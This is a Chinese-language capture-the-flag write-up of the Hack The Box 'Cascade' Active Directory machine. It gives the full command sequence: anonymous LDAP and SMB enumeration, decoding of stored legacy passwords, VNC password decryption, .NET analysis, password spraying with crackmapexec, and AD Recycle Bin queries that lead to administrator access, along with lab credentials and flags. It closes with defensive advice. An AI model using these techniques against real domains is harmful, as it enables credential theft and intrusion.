[Meachines] [Medium] Cascade DC域+SMB+ldap查询+TightVNC 密码破译+.NET 应用分析+AD回收站凭据暴露权限提升
字数 1580 2025-08-20 18:18:11
Cascade 域渗透测试完整教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.182 --min-rate 1000 -sC -sV -Pn
发现开放端口及服务:
- 53/tcp: Microsoft DNS (Windows Server 2008 R2 SP1)
- 88/tcp: Kerberos
- 135/tcp: MSRPC
- 389/tcp: LDAP (Active Directory, Domain: cascade.local)
- 445/tcp: SMB
- 636/tcp: LDAPS
- 3268/tcp: LDAP (Global Catalog)
- 3269/tcp: LDAPS (Global Catalog)
- 5985/tcp: WinRM (HTTPAPI 2.0)
1.2 SMB枚举
使用enum4linux枚举SMB共享:
enum4linux 10.10.10.182
发现用户列表:
- CascGuest
- arksvc
- s.smith
- r.thompson
- util
- j.wakefield
- s.hickson
- j.goodhand
- a.turnbull
- e.crowe
- b.hanson
- d.burman
- BackupSvc
- j.allen
- i.croft
2. LDAP信息收集
2.1 基础LDAP查询
ldapsearch -H ldap://10.10.10.182 -x -s base namingcontexts
2.2 域内搜索
ldapsearch -H ldap://10.10.10.182 -x -b "DC=cascade,DC=local"
发现关键信息:
cascadeLegacyPwd: clk0bjVldmE=(base64编码的密码)
解码密码:
echo 'clk0bjVldmE=' | base64 -d
# 结果为:rY4n5eva
3. SMB凭证测试
使用破解的密码测试SMB访问:
crackmapexec smb 10.10.10.182 -u users.txt -p 'rY4n5eva'
发现用户r.thompson使用此密码有效。
3.1 SMB共享枚举
smbmap -H 10.10.10.182 -u r.thompson -p rY4n5eva
发现可访问的共享:
- Data共享
3.2 下载共享文件
smbclient //10.10.10.182/data --user 'r.thompson'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
在下载的文件中发现VNC安装配置:
IT/Temp/s.smith/VNC Install.reg- 包含加密的VNC密码:
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
4. VNC密码破解
使用vncpwd工具解密:
echo '6bcf2a4b6e5aca0f' | xxd -r -p > pass
./vncpwd pass
# 解密得到密码:sT333ve2
5. 初始访问
使用破解的凭证通过WinRM登录:
evil-winrm -u s.smith -p sT333ve2 -i 10.10.10.182
获取user flag:
38bf2049347ff4746729149bcd08fb87
6. 权限提升路径
6.1 用户组分析
net user s.smith
# 发现属于以下组:
# - Audit Share
# - IT
# - Remote Management Users
6.2 Audit共享分析
访问Audit$共享:
smbclient //10.10.10.182/Audit$ --user 's.smith'
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
发现关键文件:
RunAudit.batCascAudit.exeDB文件夹
6.3 .NET应用逆向分析
使用dnSpy分析CascAudit.exe:
- 发现应用从SQLite数据库读取加密的LDAP连接凭据
- 解密后连接到LDAP服务器
- 查询被删除的用户
- 将信息插入SQLite数据库的DeletedUserAudit表中
关键解密函数:
// 解密密码为:"w3lc0meFr31nd\0\0\0"
6.4 使用新凭证
测试新凭证:
crackmapexec winrm 10.10.10.182 -u users.txt -p w3lc0meFr31nd --continue-on-success
发现用户arksvc使用此密码有效。
通过WinRM登录:
evil-winrm -u arksvc -p "w3lc0meFr31nd" -i 10.10.10.182
7. AD回收站利用
7.1 查询已删除对象
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
发现已删除用户:
TempAdmin
7.2 获取TempAdmin详细信息
Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
发现base64编码的密码:
cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz
解码:
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
# 结果为:baCT3r1aN00dles
8. 最终权限提升
使用管理员凭证登录:
evil-winrm -u administrator -p baCT3r1aN00dles -i 10.10.10.182
获取root flag:
cd061c9640340417ddbb44196ece4305
9. 关键知识点总结
- LDAP信息泄露:通过匿名LDAP查询获取cascadeLegacyPwd属性
- 密码重用:发现多个用户使用相同密码
- VNC密码解密:从注册表文件中提取并解密VNC凭证
- 共享审计:通过Audit共享获取.NET应用程序
- .NET逆向:分析CascAudit.exe获取LDAP凭据
- AD回收站:查询已删除对象获取TempAdmin账户
- 密码复用:TempAdmin与Administrator密码相同
10. 防御建议
- 禁用匿名LDAP查询
- 避免在LDAP属性中存储明文或可逆加密的密码
- 实施最小权限原则,限制共享访问
- 定期审计和清理AD回收站
- 避免管理员账户密码复用
- 对包含敏感信息的.NET应用程序进行混淆处理
- 实施凭证隔离,不同服务使用不同凭证